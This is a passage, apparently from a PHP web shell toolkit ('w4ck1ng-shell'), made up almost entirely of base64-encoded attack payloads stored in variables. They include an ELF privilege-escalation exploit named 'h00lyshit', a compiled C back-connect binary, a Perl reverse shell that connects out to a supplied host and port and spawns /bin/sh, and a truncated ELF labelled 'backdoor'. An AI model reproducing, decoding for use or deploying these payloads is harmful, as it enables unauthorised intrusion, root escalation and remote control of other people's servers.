+AAAjAAAABwAAAAIAAAAogQQIKAEAACAAAAAAAAAAAAAAAAQAAAAAAAAAMQAAAAUAAAACAAAASIEE +CEgBAADAAAAABAAAAAAAAAAEAAAABAAAADcAAAALAAAAAgAAAAiCBAgIAgAA0AEAAAUAAAABAAAA +BAAAABAAAAA/AAAAAwAAAAIAAADYgwQI2AMAAOQAAAAAAAAAAAAAAAEAAAAAAAAARwAAAP///28C +AAAAvIQECLwEAAA6AAAABAAAAAAAAAACAAAAAgAAAFQAAAD+//9vAgAAAPiEBAj4BAAAIAAAAAUA +AAABAAAABAAAAAAAAABjAAAACQAAAAIAAAAYhQQIGAUAABgAAAAEAAAAAAAAAAQAAAAIAAAAbAAA +AAkAAAACAAAAMIUECDAFAAC4AAAABAAAAAsAAAAEAAAACAAAAHUAAAABAAAABgAAAOiFBAjoBQAA +FwAAAAAAAAAAAAAABAAAAAAAAABwAAAAAQAAAAYAAAAAhgQIAAYAAIABAAAAAAAAAAAAAAQAAAAE +AAAAewAAAAEAAAAGAAAAgIcECIAHAABIBgAAAAAAAAAAAAAEAAAAAAAAAIEAAAABAAAABgAAAMiN +BAjIDQAAGwAAAAAAAAAAAAAABAAAAAAAAACHAAAAAQAAAAIAAADkjQQI5A0AAIoAAAAAAAAAAAAA +AAQAAAAAAAAAjwAAAAEAAAADAAAAAJAECAAQAAAMAAAAAAAAAAAAAAAEAAAAAAAAAJUAAAABAAAA +AgAAAAyQBAgMEAAABAAAAAAAAAAAAAAABAAAAAAAAACfAAAABgAAAAMAAAAQkAQIEBAAAMgAAAAF +AAAAAAAAAAQAAAAIAAAAqAAAAAEAAAADAAAA2JAECNgQAAAIAAAAAAAAAAAAAAAEAAAAAAAAAK8A +AAABAAAAAwAAAOCQBAjgEAAACAAAAAAAAAAAAAAABAAAAAAAAAC2AAAAAQAAAAMAAADokAQI6BAA +AAQAAAAAAAAAAAAAAAQAAAAAAAAAuwAAAAEAAAADAAAA7JAECOwQAABsAAAAAAAAAAAAAAAEAAAA +BAAAAMAAAAAIAAAAAwAAAGCRBAhgEQAAZAcAAAAAAAAAAAAAIAAAAAAAAADFAAAAAQAAAAAAAAAA +AAAAYBEAAKgAAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAgSAADOAAAAAAAAAAAA +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 +VF9fAF9fRFRPUl9MSVNUX18AX19KQ1JfTElTVF9fAHAuMABjb21wbGV0ZWQuMQBfX2RvX2dsb2Jh +bF9kdG9yc19hdXgAZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRFRPUl9FTkRfXwBfX0ZSQU1F +X0VORF9fAF9fSkNSX0VORF9fAF9fZG9fZ2xvYmFsX2N0b3JzX2F1eABoMDBseXNoaXQuYwBjbWQA +YXJnAGMAdABlAGEAZXgAYgBnZXRwaWRAQEdMSUJDXzIuMABfRFlOQU1JQwBzdHJkdXBAQEdMSUJD +XzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAGZmbHVzaEBAR0xJ +QkNfMi4wAF9fZmluaV9hcnJheV9lbmQAX19kc29faGFuZGxlAG1tYXBAQEdMSUJDXzIuMABfX2xp +YmNfY3N1X2ZpbmkAZXhlY3ZlQEBHTElCQ18yLjAAY2htb2RAQEdMSUJDXzIuMABfaW5pdABwcmN0 +bEBAR0xJQkNfMi4wAHNjaGVkX3lpZWxkQEBHTElCQ18yLjAAZnN0YXQAc3Rkb3V0QEBHTElCQ18y +LjAAc3RkZXJyQEBHTElCQ18yLjAAd2FpdHBpZEBAR0xJQkNfMi4wAF9zdGFydABfX2Z4c3RhdEBA +R0xJQkNfMi4wAG5pY2VAQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9p +bml0AF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRf +YXJyYXlfZW5kAHN0cmNhdEBAR0xJQkNfMi4wAGRhdGFfc3RhcnQAcHJpbnRmQEBHTElCQ18yLjAA +X2ZpbmkAbWVtY3B5QEBHTElCQ18yLjAAZXJyb3IAX19wcmVpbml0X2FycmF5X2VuZABfX2V4Y29k +ZQBvcGVuQEBHTElCQ18yLjAAZXhpdEBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9U +QUJMRV8AX2VuZABnZXRjd2RAQEdMSUJDXzIuMABtZW1zZXRAQEdMSUJDXzIuMABfX2V4Y29kZV9l +AF9faW5pdF9hcnJheV9zdGFydABfX2ZzdGF0AF9JT19zdGRpbl91c2VkAG1hZHZpc2VAQEdMSUJD +XzIuMABzcHJpbnRmQEBHTElCQ18yLjAAX19kYXRhX3N0YXJ0AF9Kdl9SZWdpc3RlckNsYXNzZXMA +ZXhwbG9pdABfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A"; + + +$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA=="; + +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9